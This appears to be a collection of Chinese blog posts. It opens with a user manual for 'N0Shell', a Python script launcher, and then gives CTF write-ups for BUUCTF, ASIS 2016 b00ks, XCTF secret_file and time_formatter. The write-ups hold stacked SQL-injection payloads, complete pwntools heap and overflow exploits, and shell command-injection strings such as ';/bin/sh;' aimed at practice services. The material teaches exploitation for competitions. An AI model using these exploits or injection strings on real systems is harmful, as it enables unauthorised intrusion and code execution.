N0Shell

N0Shell

Old version: 1.42

什么是N0Shell

N0Shell并不是一个真正的shell,不能代替shell使用

N0Shell主要作用是管理各种py程序,使它们用起来顺手好用。

具体如何,还需要自己体验体验。

简单介绍

下载好的N0Shell应该包括N0Shell主体和配置文件。

./N0Shell运行shell

截屏2021-02-16 下午6.17.55

运行起来后就像这样。

如果您的N0Shell显示了类似这样的错误

截屏2021-02-16 下午6.30.46

这说明您的窗口太小了,请输入exit退出N0Shell并在调整窗口后重新运行。

现在我们大致介绍一下它的界面:

最大的白色框是主要的信息栏,命令执行后的结果会在这里显示。

白色框下方是命令行,命令在这里输入,回车执行。

右侧绿框是公共变量框,运行产生的所有公共变量在这里显示。

输入ls试试吧。

截屏2021-02-16 下午6.37.21

ls将会列出n0shell工作目录下的内容。

信息栏>ls是执行的命令

第一次使用

在真正使用N0Shell前,还需要根据情况调整一下配置文件。

例如上图中的miscTools文件夹是我的杂项工具文件夹。

那么我就需要在N0Shell的环境变量中加入这个路径。

截屏2021-02-16 下午6.45.18

重新运行N0Shell。

截屏2021-02-16 下午6.48.33

输入Im按下TAB键补全就能看到miscTools内的工具名被补全了。

此时按下回车就可以运行它了

截屏2021-02-16 下午6.50.06

尝试输入执行ImageEditor -v

截屏2021-02-16 下午6.51.55

真是糟糕的配色==

还有单词Powered也被拼错了。。

把所有的脚本文件夹路径放进配置文件,多个路径间用‘;’号隔开。

这样就可以舒服的运行它们了。

除此之外,我们的脚本常常需要第三方包支持。

由于N0Shell不使用本地的Python,所以也无法找到您安装在本地python中的包。

不过你可以通过以下方式告诉N0Shell第三方包所在的路径。

  1. 运行本地python交互式解释器。

  2. import sys

  3. sys.path

您将在结果中找到类似*/usr/lib/python3/dist-packages*的路径。如果是自己安装的python还有site-packages文件夹。

把路径写入配置文件。

截屏2021-02-16 下午7.06.19

重新运行N0Shell后脚本就可以导入您系统中的第三方包了。

开始使用N0Shell

一般第一次填写好路径后很少会再需要改动。

但是对于界面的自定义您可以自己看着来。

这是我使用的配置

截屏2021-02-16 下午7.22.56

效果如下,几乎占满了我的屏幕

截屏2021-02-16 下午7.24.03

你可以随意调整它们的布局和位置。

不过如果它们重叠了显示效果可就糟了。

命令

基本命令ls,cd,cat

ls有特殊用法

ls . .py

.代表当前路径,.py意为仅显示.py文件。其他后缀同理。

ls . /

这将会列出当前文件夹下的所有文件夹。

cd的特殊路径

cd N0:

执行将回到N0Shell的工作目录下。

其他命令

  • look::查看输出信息,方向键控制上下滚动,q退出。

  • color:查询N0Shell所支持的颜色编号。跟数字将会返回到对应编号的颜色。例如color 400

  • path:查看当前N0Shell的各种路径信息。

  • config:会重新载入部分配置文件

  • version:查看当前N0Shell版本和API适用范围。

  • help:无法帮助到你的帮助命令。:)

  • exit:退出N0Shell

开发相关

  • KeyId:如果你想知道某个按键对应的值,执行它再按下任意键。
  • debug:以debug模式运行.py程序,无论N0Shell是否处于debug模式。
  • npk:打包或安装.npk文件。
    • npk example/将打包一个example.npk文件在N0Shell工作目录下
    • npk install example.npk将新建example文件夹存放包内的脚本并把此文件夹路径放入环境变量。

变量相关

$hello=123生成一个变量

$hello直接输入变量将显示值

del hello删除一个变量。不加变量标记符$。

keep hello将一个变量保存在配置文件。每次启动都载入。不加变量标记符$。

example $hello访问变量。

vars显示所有变量。

vars -w在变量窗口查看变量。上下控制滚动,q退出

vars -k查看当前配置文件保存的变量。

关于变量的进阶使用

变量可以储存任意可见字符。

因此例如下面这条命令

ImageEditor -e test.png 300 300

截屏2021-02-16 下午9.37.27

然后声明一个变量把参数写进去

执行命令直接传递变量。

因为我们是用$(x)访问的变量,所以变量会被解析为多个参数。

_code为最终执行结果

截屏2021-02-16 下午9.42.11

除此之外还N0Shell还支持$(x)实现变量嵌套。

执行以下三条命令

截屏2021-02-16 下午9.46.38

此时看变量窗口

截屏2021-02-16 下午9.48.50

再次执行ImageEditor $(test)

截屏2021-02-16 下午9.49.25

数条_code信息为变量解析过程。(1.42版本后仅debug模式显示解析过程)

此时如果修改$hight的值,$test解析到的值也会相应改变。

将一些参数复杂的程序启动参数封装进变量,再通过改变小变量实现对命令的更改是非常方便的。

Tips

  • 输入命令时如果需要换行,先按下’\‘,再按下回车就可以换行了。如果需要打出’\‘,则再按一次’\‘。

按键绑定

在配置文件里添加[Key]小节,就可以更改想要绑定的按键。键值可以通过KeyId查询。

  • 退格键backspace=键值

滤镜

直接执行fliter命令可以看到可用的所有滤镜

在[Common]小节内设置fliter=滤镜名

​ 尝试fliter=rainbow,再执行config更新配置文件。

感谢

  • 感谢看着N0Shell成长的Mengd@师傅。
  • 感谢正在看着这篇文章的你。

如果有建议或者问题请写在评论区。

BuuWeb1

强网杯随便注

![截屏2020-10-28 上午11.24.27](/Users/xuziyi/Library/Application Support/typora-user-images/截屏2020-10-28 上午11.24.27.png)

这题显然是存在sql注入点的。主要考点是堆叠注入。然而堆叠注入本身的意思就只是能连续执行sql语句而已。

以下记录一些解题过程中用到的东西。

desc [表名]可以查看表结构 (数字开头的表名需要加反引号)

show columns from [表名] (常用show databases,show tables,第一次见这个)

rename tables [表名1] to [表名2] 修改表名

爆表

![截屏2020-11-09 下午5.21.37](/Users/xuziyi/Library/Application Support/typora-user-images/截屏2020-11-09 下午5.21.37.png)

desc查看表结构

1919810931114514表结构

![截屏2020-11-09 下午5.25.06](/Users/xuziyi/Library/Application Support/typora-user-images/截屏2020-11-09 下午5.25.06.png)

words表结构

![截屏2020-11-09 下午5.27.35](/Users/xuziyi/Library/Application Support/typora-user-images/截屏2020-11-09 下午5.27.35.png)

由于没有select可以用,所以用个神奇的操作,把flag所在表的名字改成words,并在flag所在表中增加一个字段id。

payload:

1
1’;rename table words to n0p3;rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
1
1‘;rename tables `words` to `n0p3`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);

然后 1’ or 1=1;#读flag

![截屏2020-10-28 上午11.17.14](/Users/xuziyi/Library/Application Support/typora-user-images/截屏2020-10-28 上午11.17.14.png)![截屏2020-10-28 上午11.17.28](/Users/xuziyi/Library/Application Support/typora-user-images/截屏2020-10-28 上午11.17.28.png)

Asis_ctf_2016_b00ks

ctf wiki上看到的一道堆题,原题的环境是ubuntu16。本文是在ubuntu18上复现的。

ASIS CTF 2016 b00ks

截屏2020-10-18 下午8.46.16

除了canary以外保护全开

截屏2020-10-18 下午8.48.24

执行一下发现是个菜单类应用

具体执行内容到ida看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 savedregs; // [rsp+20h] [rbp+0h]

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL); //
// BooksHeap+i:id
Welcome();
EnterAuthName();
while ( (unsigned int)MainMenu() != 6 )
{
switch ( (unsigned int)&savedregs )
{
case 1u:
CreateBook(); // Off by one
break;
case 2u:
Deletebook(); // 没用从+6开始free,从+8开始free
break;
case 3u:
EditBook(); // description位置与DeleteBook()一致
break;
case 4u:
OutPutBooks();
break;
case 5u:
EnterAuthName(); // Off by one
break;
default:
puts("Wrong option");
break;
}
}
puts("Thanks to use our library software");
return 0LL;
}

多数函数已经经过重命名,并注释了一些信息(没什么用)

函数分析

CreateBook()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
signed __int64 CreateBook()
{
int Size; // [rsp+0h] [rbp-20h]
int NewBookId; // [rsp+4h] [rbp-1Ch]
void *NewBookHeap; // [rsp+8h] [rbp-18h]
void *BookNameHeap; // [rsp+10h] [rbp-10h]
void *DescriptionHeap; // [rsp+18h] [rbp-8h]

Size = 0;
printf("\nEnter book name size: ", *(_QWORD *)&Size);
__isoc99_scanf("%d", &Size);
if ( Size >= 0 )
{
printf("Enter book name (Max 32 chars): ", &Size);
BookNameHeap = malloc(Size);
if ( BookNameHeap )
{
if ( (unsigned int)input_BUG(BookNameHeap, Size - 1) )
{
printf("fail to read name");
}
else
{
Size = 0;
printf("\nEnter book description size: ", *(_QWORD *)&Size);
__isoc99_scanf("%d", &Size);
if ( Size >= 0 )
{
DescriptionHeap = malloc(Size);
if ( DescriptionHeap )
{
printf("Enter book description: ", &Size);
if ( (unsigned int)input_BUG(DescriptionHeap, Size - 1) )// 没有多循环
{
printf("Unable to read description");
}
else
{
NewBookId = AssignBookNumber();
if ( NewBookId == -1 )
{
printf("Library is full");
}
else
{ // 未满
NewBookHeap = malloc(0x20uLL);
if ( NewBookHeap )
{
*((_DWORD *)NewBookHeap + 6) = Size;
*((_QWORD *)BooksZone + NewBookId) = NewBookHeap;
*((_QWORD *)NewBookHeap + 2) = DescriptionHeap;
*((_QWORD *)NewBookHeap + 1) = BookNameHeap;
*(_DWORD *)NewBookHeap = ++unk_202024;
return 0LL;
}
printf("Unable to allocate book struct");
}
}
}
else
{
printf("Fail to allocate memory", &Size);
}
}
else
{
printf("Malformed size", &Size);
}
}
}
else
{
printf("unable to allocate enough space");
}
}
else
{
printf("Malformed size", &Size);
}
if ( BookNameHeap )
free(BookNameHeap);
if ( DescriptionHeap )
free(DescriptionHeap);
if ( NewBookHeap )
free(NewBookHeap);
return 1LL;
}

执行函数是会先让用户输入书名的大小,然后再输入书名。书本描述也是先输入描述大小再输入描述。两次字符串输入都是通过一个开发者自定的输入函数实现的。

input_BUG()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
signed __int64 __fastcall input_BUG(_BYTE *a1, int _32)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *_addr; // [rsp+18h] [rbp-8h]

if ( _32 <= 0 )
return 0LL;
_addr = a1;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, _addr, 1uLL) != 1 )
return 1LL;
if ( *_addr == '\n' )
break;
++_addr;
if ( i == _32 ) // 等于a2就跳出
break;
}
*_addr = 0;
return 0LL;
}

这个开发者自定义的输入函数被我标记了BUG,是因为它在line 16处确实存在一个漏洞,在line 9可以看到计数器i从0开始,当等于32时结束。但这个if判断在循环体下方执行,也就是说判断到i==32时其实又执行了一次循环体,实际上我们这个循环执行了33次。我们可以比开发者设想的多写入一个字节,也就是Off by one。(当然有可能开发者本就想让用户输入33个字节,稍后我们会知道我们确实超出了开发者预期)

AssignBookNumber()

在CreateBook()函数的line 39处有一个AssignBookNumber()

1
2
3
4
5
6
7
8
9
10
11
signed __int64 AssignBookNumber()
{
signed int i; // [rsp+0h] [rbp-4h]

for ( i = 0; i <= 19; ++i ) // 实际执行20次,最多存20本书
{
if ( !*((_QWORD *)BooksZone + i) ) // 似乎可以访问到off_202018的数据
return (unsigned int)i;
}
return 0xFFFFFFFFLL;
}

这个函数很简单作用是分配书本id。

DeleteBook()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
signed __int64 Deletebook()
{
int v1; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]

i = 0;
printf("Enter the book id you want to delete: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0 )
{
for ( i = 0; i <= 19 && (!*((_QWORD *)BooksZone + i) || **((_DWORD **)BooksZone + i) != v1); ++i )
;
if ( i != 20 )
{
free(*(void **)(*((_QWORD *)BooksZone + i) + 8LL));
free(*(void **)(*((_QWORD *)BooksZone + i) + 16LL));
free(*((void **)BooksZone + i));
*((_QWORD *)BooksZone + i) = 0LL;
return 0LL;
}
printf("Can't find selected book!", &v1);
}
else
{
printf("Wrong id", &v1);
}
return 1LL;
}

用户输入书本id,free掉对应书本的结构体。(书本的结构体分析稍后研究)

EditBook()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
signed __int64 EditBook()
{
int v1; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]

printf("Enter the book id you want to edit: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0 )
{
for ( i = 0; i <= 19 && (!*((_QWORD *)BooksZone + i) || **((_DWORD **)BooksZone + i) != v1); ++i )
;
if ( i == 20 ) // id过大
{
printf("Can't find selected book!", &v1);
}
else
{
printf("Enter new book description: ", &v1);
if ( !(unsigned int)input_BUG(
*(_BYTE **)(*((_QWORD *)BooksZone + i) + 16LL),
*(_DWORD *)(*((_QWORD *)BooksZone + i) + 24LL) - 1) )
return 0LL;
printf("Unable to read new description");
}
}
else
{
printf("Wrong id", &v1);
}
return 1LL;
}

输入书本id,通过input_BUG输入新的描述。

OutPutBooks()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int OutPutBooks()
{
__int64 v0; // rax
signed int i; // [rsp+Ch] [rbp-4h]

for ( i = 0; i <= 19; ++i )
{
v0 = *((_QWORD *)BooksZone + i);
if ( v0 )
{
printf("ID: %d\n", **((unsigned int **)BooksZone + i));
printf("Name: %s\n", *(_QWORD *)(*((_QWORD *)BooksZone + i) + 8LL));
printf("Description: %s\n", *(_QWORD *)(*((_QWORD *)BooksZone + i) + 16LL));
LODWORD(v0) = printf("Author: %s\n", AuthorName);
}
}
return v0;
}

执行后会打印出所有的书。

EnterAuthName()

1
2
3
4
5
6
7
8
signed __int64 EnterAuthName()
{
printf("Enter author name: ");
if ( !(unsigned int)input_BUG(AuthorName, 32) )//AuthorName offset_0x202018
return 0LL;
printf("fail to read author_name", 32LL);
return 1LL;
}

执行后通过input_BUG输入作者名。作者名被存入bss段,距离基地址偏移0x202018个字节。

对接

了解完所有的函数之后,对于菜单类程序我们最好写一些操作函数来对接程序方便攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#coding=utf-8
from pwn import *
OptionNum=0
context.log_level='debug'
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
res=process('./'+Path)
def CreateBook(NameSize,name,DesSize,description):
res.recvuntil('> ')
res.sendline('1')
res.recvuntil('name size:')
res.sendline(str(NameSize))
res.recvuntil('chars):')
res.sendline(name)
res.recvuntil('size:')
res.sendline(str(DesSize))
res.recvuntil('description:')
res.sendline(description)
def DeleteBook(BookId):
print("Deleting...")
res.recvuntil('> ')
res.sendline('2')
res.recvuntil('delete: ')
res.sendline(str(BookId))
def EditBook(BookId,description):
res.sendline('3')
res.recvuntil('edit: ')
res.sendline(str(BookId))
res.recvuntil('description: ')
res.sendline(description)
def ChangeAuthName(name):
res.recvuntil('> ')
res.sendline('5')
res.recv()
res.sendline(name)
def ShowBooks():
res.recvuntil('> ')
res.sendline('4')
return res.recvuntil('> ')

深入分析

作者名先输入个N0P3aaaa

截屏2020-10-19 下午12.27.03

作者名的输入调用了前面的讲过的EnterAuthName()函数,此时的作者名被存入AuthorName。

ctrl+c再vmmap看一下

截屏2020-10-19 下午12.30.00

基地址就是最上面的红色地址 0x555555754000。加上AuthorName的偏移就可以找到N0P3aaaa在内存中的位置。

截屏2020-10-19 下午1.12.25

第一行指向了数据的地址,也就是0x55555756040,这也是个地址只向第三行的右侧。

输入作者名函数是调用了input_BUG的,所以也存在可以多写入一个字符的问题。我们来测试一下

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#coding=utf-8
from pwn import *
OptionNum=0
context.log_level='debug'
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
res=process('./'+Path)
def CreateBook(NameSize,name,DesSize,description):
res.recvuntil('> ')
res.sendline('1')
res.recvuntil('name size:')
res.sendline(str(NameSize))
res.recvuntil('chars):')
res.sendline(name)
res.recvuntil('size:')
res.sendline(str(DesSize))
res.recvuntil('description:')
res.sendline(description)
def DeleteBook(BookId):
print("Deleting...")
res.recvuntil('> ')
res.sendline('2')
res.recvuntil('delete: ')
res.sendline(str(BookId))
def EditBook(BookId,description):
res.sendline('3')
res.recvuntil('edit: ')
res.sendline(str(BookId))
res.recvuntil('description: ')
res.sendline(description)
def ChangeAuthName(name):
res.recvuntil('> ')
res.sendline('5')
res.recv()
res.sendline(name)
def ShowBooks():
res.recvuntil('> ')
res.sendline('4')
return res.recvuntil('> ')
res.recvuntil("name: ")
res.sendline('N0P3aaaabbbbbbbbccccccccdddddddd')
CreateBook(128,"n0p3_book1",32,'n0p3_des')
CreateBook(0x21000,"n0p3_book2",0x21000,"n0p3_des")
book1_addr=ShowBooks()
book1_addr=u64(book1_addr[85:91].ljust(8,'\x00'))
print(hex(book1_addr))
fake_book1 = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)
EditBook(1,fake_book1)
ChangeAuthName("N0P3aaaabbbbbbbbccccccccdddddddd")
Raw=ShowBooks()
print(Raw)
book2_name_addr=u64(Raw[12:18].ljust(8,'\x00'))
print("NameAddr: "+hex(book2_name_addr))
book2_desc_addr=u64(Raw[32:38].ljust(8,'\x00'))
print("DescAddr: "+hex(book2_desc_addr))
#context.terminal = ['tmux','splitw','-v']
#gdb.attach(res)
#print(hex(book2_desc_addr-0x00007ffff79e4000))#0x5b1010
libc_addr=book2_desc_addr-0x5b1010#取得libc基地址
free_hook=libc_addr+libc.symbols['__free_hook']
print(hex(libc.symbols['__free_hook']))
print("free_hook:"+hex(free_hook))
MagicShell=libc_addr+0x4f3c2
EditBook(1,p64(free_hook))
print("Free_hook done")
res.recvuntil('> ')
EditBook(2,p64(MagicShell))
DeleteBook(2)
print("Shell:")
res.interactive()

XCTF-Pwn-Advance-2

secret_file

这道题真的是折腾我了好久。

64位,保护全开

QQ20200810-0

主函数是这样的。程序比较复杂,逆向基础不好的我受到了很大阻碍。直接连接程序的结果是,执行一次输入,然后返回密码错误。

阅读代码,在line 25有一个getline,这个函数的作用是输入,知道输入中断或接收到换行符。

听起来就是没有限制的输入。因此这里可能会造成溢出(这里说没有限制是不严谨的。getline会允许输入至所给变量空间的上限。然而如果给的地址是NULL,则会自行malloc空间。此时的空间会根据输入的长度决定。本题的所给空间在line 24被赋值为空。)

line 29~30的主要作用是判断输入的字符串是否正确结尾,若没有正确结尾(换行符)则退出。

line 33把输入的字符串复制给了dest。

接着就进入了DD0函数。

截屏2020-08-10 下午3.50.03

line 13是在初始化v5,为接下来的hash计算做准备。

line 14对Input进行了hash的前0x100字节进行了hash运算。(Input就是dest,0x100等于256)并将结果储存在了v5。

line 15把v5的值给了_v16。(简单描述)

回到主函数,line 35~42进行了一段意义不明的循环。(路过大佬求告知)

在line 44进行了一次比对,比对了v15与v17是否相等。相等则会调用popen函数。

popen函数的v14变量是命令,第二个参数为读写模式。这个函数能起shell并执行v14的命令。所以我们要想办法把利用v14读取flag。

观察栈分布,dest是在v14,v15,v17之上的,全部都可以被我们覆盖。

比对的话呢,是把我们输入的payload的前0x100个字节给hash加密然后和v15储存的比对了。所以我们可以构造payload=padding+shellcode+hash(padding)把v15覆盖为v17的值来通过比对。

(这里是忽略了迷之循环的作用,把v17简单当作了hash加密后的结果,即v16)

最终exp。

1
2
3
4
5
6
7
from pwn import *
import hashlib
res = remote('220.249.52.133',42875)
padding = 'a'*0x100
payload = padding + 'cat flag.txt;'.ljust(0x1B,' ') + hashlib.sha256(padding).hexdigest()
res.sendline(payload)
print(res.recv())

另附:网上有师傅给出了v17的正确求法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#coding:utf-8

from pwn import *
import hashlib

#context.log_level = 'debug'

debug = 1


def exp(string, debug):
if debug == 1:
r = process('./secret_file')
#gdb.attach(r)
#pause
else:
r = remote('111.198.29.45', 37598)


payload = 'a' * 0x100

memory = ''

sha256 = hashlib.sha256(payload).hexdigest()

for i in range(0, len(sha256), 2):
memory = memory + chr(int(sha256[i:i + 2], 16))

memory = list(memory + '\x00' * 0x41)

for i in range(0x20):
tmp = '%02x'%ord(memory[i]) + '\x00'
memory[0x20 + 2 * i] = tmp[0]
memory[0x20 + 2 * i + 1] = tmp[1]
memory[0x20 + 2 * i + 2] = tmp[2]

v15 = ''.join([i for i in memory[0x20:-1]])

'''
string中不要用\x00填充
payload = payload + (string + ';#').ljust(0x1f8 - 0x1dd, '\x00') + v15 + '\n'
否则strcpy的时候会进行截断,v15无法正常输入
'''

'''
v15后面不要跟\x00
payload = payload + (string + ';#').ljust(0x1f8 - 0x1dd, ' ') + v15 + '\x00\n'
否则strrchr的时候,str会以\x00作为结尾,则\n被截断
'''

payload = payload + (string + ';#').ljust(0x1f8 - 0x1dd, ' ') + v15 + '\n'

r.send(payload)

log.info('%s\n'%r.recv())
r.close()


while True:
print '[*] $ ',
command = raw_input()[:-1]
if command == 'exit':
break
exp(command, debug)

原文链接

time_formatter

这是本系列文章第一道堆pwn。

64bit 除pie外保护全开

看主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__gid_t v3; // eax
FILE *v4; // rdi
__int64 v5; // rdx
int v6; // eax

v3 = getegid();
setresgid(v3, v3, v3);
setbuf(stdout, 0LL);
puts("Welcome to Mary's Unix Time Formatter!");
do
{
while ( 2 )
{
puts("1) Set a time format.");
puts("2) Set a time.");
puts("3) Set a time zone.");
puts("4) Print your time.");
puts("5) Exit.");
__printf_chk(1LL, "> ");
v4 = stdout;
fflush(stdout);
switch ( sub_400D26() )
{
case 1:
v6 = sub_400E00();
break;
case 2:
v6 = sub_400E63();
break;
case 3:
v6 = sub_400E43();
break;
case 4:
v6 = sub_400EA3((__int64)v4, (__int64)"> ", v5);
break;
case 5:
v6 = sub_400F8F();
break;
default:
continue;
}
break;
}
}
while ( !v6 );
return 0LL;
}

主函数看起来就是堆pwn该有的样子。

先看下case 1的sub_400E00函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 sub_400E00()
{
char *v0; // rbx

v0 = sub_400D74();
if ( (unsigned int)sub_400CB5(v0) )
{
ptr = v0;
puts("Format set.");
}
else
{
puts("Format contains invalid characters.");
sub_400C7E(v0);
}
return 0LL;
}

再深入看一下sub_400D74

1
2
3
4
5
6
7
8
9
10
11
12
13
14
char *sub_400D74()
{
__int64 v0; // rdx
__int64 v1; // rcx
char s[1024]; // [rsp+8h] [rbp-410h]
unsigned __int64 v4; // [rsp+408h] [rbp-10h]

v4 = __readfsqword(0x28u);
__printf_chk(1LL, "%s");
fflush(stdout);
fgets(s, 1024, stdin);
s[strcspn(s, "\n")] = 0;
return PutStr2NewAddr(s, (__int64)"\n", v0, v1);
}

这里有一个被我改过名字的函数PutStr2NewAddr,这个函数的作用和名字一样,把一个字符串放进新申请的地址里。

看下这个函数的细节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
char *__fastcall sub_400C26(const char *a1, __int64 a2, __int64 a3, __int64 a4)
{
char *NewAddr; // rax
char *v5; // rbx
__int64 v7; // [rsp-8h] [rbp-18h]

v7 = a4;
NewAddr = strdup(a1);
if ( !NewAddr )
err(1, "strdup", v7);
v5 = NewAddr;
if ( getenv("DEBUG") )
__fprintf_chk(stderr, 1LL, "strdup(%p) = %p\n", a1, v5);
return v5;
}

line 8有个strdup函数,这个函数会malloc一块地址,并把字符串放入。

sub_400E00函数还调用了一个sub_400cb5函数。这个函数的主要作用是检查用户输入

1
2
3
4
5
6
7
8
9
_BOOL8 __fastcall sub_400CB5(char *s)
{
char accept; // [rsp+5h] [rbp-43h]
unsigned __int64 v3; // [rsp+38h] [rbp-10h]

strcpy(&accept, "%aAbBcCdDeFgGhHIjklmNnNpPrRsStTuUVwWxXyYzZ:-_/0^# ");
v3 = __readfsqword(0x28u);
return strspn(s, &accept) == strlen(s);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 sub_400E63()
{
int v0; // eax
const char *v1; // rdi

__printf_chk(1LL, "Enter your unix time: ");
fflush(stdout);
v0 = sub_400D26();
v1 = "Unix time must be positive";
if ( v0 >= 0 )
{
dword_602120 = v0;
v1 = "Time set.";
}
puts(v1);
return 0LL;
}

case2对应的函数没有堆相关操作,是接受用户输入时间的函数。

再看case 3的sub_400E43

1
2
3
4
5
6
__int64 sub_400E43()
{
value = sub_400D74();
puts("Time zone set.");
return 0LL;
}

同样是调用了sub_400D74函数。所以选项3也会进行malloc。

接着是重要的case 4。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall sub_400EA3(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v3; // r8
char command; // [rsp+8h] [rbp-810h]
unsigned __int64 v6; // [rsp+808h] [rbp-10h]

v6 = __readfsqword(0x28u);
if ( ptr )
{
__snprintf_chk(&command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", (unsigned int)dword_602120, ptr, a3);
__printf_chk(1LL, "Your formatted time is: ");
fflush(stdout);
if ( getenv("DEBUG") )
__fprintf_chk(stderr, 1LL, "Running command: %s\n", &command, v3);
setenv("TZ", value, 1);
system(&command);
}
else
{
puts("You haven't specified a format!");
}
return 0LL;
}

这个函数把ptr指针指向的字符串进行格式化并放入system执行。我们很容易想到如果能控制ptr进行命令注入就可以get shell。

到目前还没有找到明显的漏洞,当然我们都知道pwn题常常会在退出时出幺蛾子。

关键的case 5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
signed __int64 sub_400F8F()
{
signed __int64 result; // rax
char s; // [rsp+8h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-10h]

v2 = __readfsqword(0x28u);
sub_400C7E(ptr);
sub_400C7E(value);
__printf_chk(1LL, "Are you sure you want to exit (y/N)? ");
fflush(stdout);
fgets(&s, 16, stdin);
result = 0LL;
if ( (s & 0xDF) == 89 )
{
puts("OK, exiting.");
result = 1LL;
}
return result;
}

line 10到结尾是用户选择是否真的退出。关键点在line 8-9。

1
2
3
4
5
6
7
8
void __fastcall sub_400C7E(void *ptr)
{
__int64 v1; // r8

if ( getenv("DEBUG") )
__fprintf_chk(stderr, 1LL, "free(%p)\n", ptr, v1);
free(ptr);
}

所以line 8-9释放了ptr和value两个指针。也就是说,当我们执行case 5后选择n就可以触发UAF漏洞。而ptr的值是在case 1中分配的,value是在case 3中分配的。

ptr被释放,所指向的地址存入了fastbin。此时我们再执行case 3就会把刚放进fastbin的地址给value,此时ptr和value都指向同一个地址。case 1对输入有限制,case 3没有限制,我们就成功利用UAF使ptr包含了 shellcode。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# coding=utf-8
from pwn import *
context.log_level = 'debug'
# io = process('./time_formatter')
io =remote('220.249.52.133',38913)
#为ptr分配堆储存空间
io.recvuntil('> ')
io.sendline('1')
io.recvuntil('Format: ')
io.sendline('aaa')
# 释放ptr中的堆空间
io.recvuntil('> ')
io.sendline('5')
io.recvuntil('Are you sure you want to exit (y/N)?')
io.sendline('N')
# 为value分配堆,此时分配到的就是刚放入fastbin的地址
#写入shellcode
io.recvuntil('> ')
io.sendline('3')
io.recvuntil('Time zone: ')
io.sendline('\';/bin/sh;\'')
#利用命令注入拿shell
io.recvuntil('> ')
io.sendline('4')
print("shell")
io.interactive()

「BuuCTF」Part I

Buu上的题目很多,遇到些感觉需要记录一下的题目就写在这里。 如有错误还请路过的师傅在评论区指出。

pwn1_sctf_2016

这道题没什么难的,主要记录几个C++的标准库函数。

一大堆看起来乱七八糟的函数。这些函数的简单介绍:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
fgets
函数原型:char * fgets ( char * str, int num, FILE * stream );
函数功能:
从流中读取字符,并将它们作为C字符串存储到str中,直到已读取(num-1)个字符或到达换行符或到达文件末尾(以先发生的为准)。
换行符使fgets停止读取,但是该函数将其视为有效字符并包含在复制到str的字符串中。
复制到str的字符后会自动附加一个终止的空字符。
请注意,fgets与gets完全不同:fgets不仅接受流参数,而且还允许指定str的最大大小,并在字符串中包括任何结尾的换行符。

std:replace
函数原型:
template <class ForwardIterator, class T>
void replace (ForwardIterator first, ForwardIterator last,
const T& old_value, const T& new_value);
函数功能:
替换范围内的值
将new_value分配给[first,last)范围内所有等于old_value的元素。
该函数使用"operator ==" 将各个元素与old_value进行比较。
该功能模板的行为等效于:
template <class ForwardIterator, class T>
void replace (ForwardIterator first, ForwardIterator last,
const T& old_value, const T& new_value)
{
while (first!=last) {
if (*first == old_value) *first=new_value;
++first;
}
}
参数再介绍:
first, last:将迭代器转发到元素序列中的初始位置和最终位置,这些元素支持比较并分配为T类型的值。
使用的范围是[first,last),其中包含first和last之间的所有元素,包括由指向的元素 首先但不是最后指出的元素。
old_value:要替换的值。
new_value:新的值

可以暂时粗略地地这样记下: replace (first,last,old_value,new_value);

std::string::operator=(&input, &s);
